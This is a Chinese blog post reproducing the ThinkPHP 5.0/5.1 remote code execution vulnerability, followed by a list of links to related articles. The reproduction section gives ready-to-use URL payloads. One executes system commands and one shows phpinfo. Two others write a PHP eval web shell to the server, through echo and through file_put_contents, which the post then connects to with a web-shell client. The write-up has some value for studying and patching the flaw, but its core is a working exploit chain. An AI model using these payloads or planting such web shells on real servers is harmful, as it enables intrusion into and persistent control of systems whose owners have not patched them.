ThinkPHP 5.x远程命令执行漏洞复现


Posted in PHP onSeptember 23, 2019

一、漏洞描述

2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞:

https://blog.thinkphp.cn/869075 

漏洞的原因是由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由(默认未开启)的情况下可能导致远程代码执行,受影响的版本包括5.0和5.1。

二、漏洞影响版本

Thinkphp 5.x-Thinkphp 5.1.31

Thinkphp 5.0.x<=5.0.23

三、漏洞复现

1、官网下载Thinkphp 5.0.22,下载地址: http://www.thinkphp.cn/donate/download/id/1260.html

2、使用phpstudy搭建环境,解压下载的Thinkphp5.0.22到网站目录下,浏览器访问http://192.168.10.171/thinkphp5.0.22/public

 ThinkPHP 5.x远程命令执行漏洞复现 

3、利用system函数远程命令执行

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

ThinkPHP 5.x远程命令执行漏洞复现

4、通过phpinfo函数查看phpinfo()的信息 

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

ThinkPHP 5.x远程命令执行漏洞复现

5、写入shell

Payload如下:

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[cmd]);?^> >shell.php

注意:需要对特殊字符使用^转义(cmd环境下转义方式),windows环境的echo命令输出字符串到文档不用引号(单引号、双引号),部分字符url编码不编码都行。

ThinkPHP 5.x远程命令执行漏洞复现

6、查看是否成功写入shell

ThinkPHP 5.x远程命令执行漏洞复现

7、菜刀连接

ThinkPHP 5.x远程命令执行漏洞复现

8、第二种的写入shell的方法

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php @eval($_POST[test]);?>

ThinkPHP 5.x远程命令执行漏洞复现

9、查看是否成功写入文件

ThinkPHP 5.x远程命令执行漏洞复现

10、菜刀连接

ThinkPHP 5.x远程命令执行漏洞复现

总结

以上所述是小编给大家介绍的ThinkPHP 5.x远程命令执行漏洞复现,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!
如果你觉得本文对你有帮助,欢迎转载,烦请注明出处,谢谢!

PHP 相关文章推荐
PHP 存取 MySQL 数据库的一个例子
Oct 09 PHP
PHP操作文件方法问答
Mar 16 PHP
php adodb连接带密码access数据库实例,测试成功
May 14 PHP
PHP define函数的使用说明
Aug 27 PHP
php阻止页面后退的方法分享
Feb 17 PHP
php验证码实现代码(3种)
Sep 07 PHP
PHP正则获取页面所有图片地址
Mar 23 PHP
thinkPHP多语言切换设置方法详解
Nov 11 PHP
phpfpm的作用和用法
Oct 10 PHP
PHP如何解决微信文章图片防盗链
Dec 09 PHP
PHP 实现缩略图
Mar 09 PHP
PHP 实现链式操作
Mar 09 PHP
PHP开启目录引索+fancyindex漂亮目录浏览带搜索功能
Sep 23 #PHP
redis+php实现微博(三)微博列表功能详解
Sep 23 #PHP
redis+php实现微博(二)发布与关注功能详解
Sep 23 #PHP
redis+php实现微博(一)注册与登录功能详解
Sep 23 #PHP
php日志函数error_log用法实例分析
Sep 23 #PHP
php扩展开发入门demo示例
Sep 23 #PHP
PHP使用phpunit进行单元测试示例
Sep 23 #PHP
You might like
受疫情影响 动画《Re从零开始的异世界生活》第二季延期至7月
2020/03/10 日漫
微信公众平台天气预报功能开发
2014/07/06 PHP
利用php获得flv视频长度的实例代码
2017/10/26 PHP
PHP中Session ID的实现原理实例分析
2019/08/17 PHP
Laravel 读取 config 下的数据方法
2019/10/13 PHP
Jquery利用mouseenter和mouseleave实现鼠标经过弹出层且可以点击
2014/02/12 Javascript
JavaScript link方法入门实例(给字符串加上超链接)
2014/10/17 Javascript
鼠标悬浮显示二级菜单效果的jquery实现
2014/10/29 Javascript
Function.prototype.apply()与Function.prototype.call()小结
2016/04/27 Javascript
Angularjs使用directive自定义指令实现attribute继承的方法详解
2016/08/05 Javascript
vuejs2.0子组件改变父组件的数据实例
2017/05/10 Javascript
js点击时关闭该范围下拉菜单之外的菜单方法
2018/01/11 Javascript
Vue CLI3 如何支持less的方法示例
2018/08/29 Javascript
vue中promise的使用及异步请求数据的方法
2018/11/08 Javascript
js实现全选和全不选
2020/07/28 Javascript
vscode 调试 node.js的方法步骤
2020/09/15 Javascript
Windows系统配置python脚本开机启动的3种方法分享
2015/03/10 Python
基于python实现百度翻译功能
2019/05/09 Python
Django ORM 自定义 char 类型字段解析
2019/08/09 Python
python中web框架的自定义创建
2019/09/08 Python
pytorch的batch normalize使用详解
2020/01/15 Python
scrapy爬虫:scrapy.FormRequest中formdata参数详解
2020/04/30 Python
纯CSS3+DIV实现小三角形边框效果的示例代码
2020/08/03 HTML / CSS
诗狄娜化妆品官方网站:Stila Cosmetics
2016/12/21 全球购物
我们是伦敦女孩:WalG
2018/01/08 全球购物
异常和异常类的概念
2014/09/12 面试题
生物技术毕业生自荐信
2013/10/23 职场文书
移动通信专业自荐信范文
2013/11/12 职场文书
日化店促销方案
2014/03/26 职场文书
中学清明节活动总结
2014/07/04 职场文书
公司委托书格式
2014/08/01 职场文书
MBA推荐信怎么写
2015/03/25 职场文书
大学入学感言
2015/08/01 职场文书
2016党员干部廉洁自律心得体会
2016/01/13 职场文书
“爱眼护眼,提前预防近视”倡议书3篇
2019/10/30 职场文书
js实现自动锁屏功能
2021/06/02 Javascript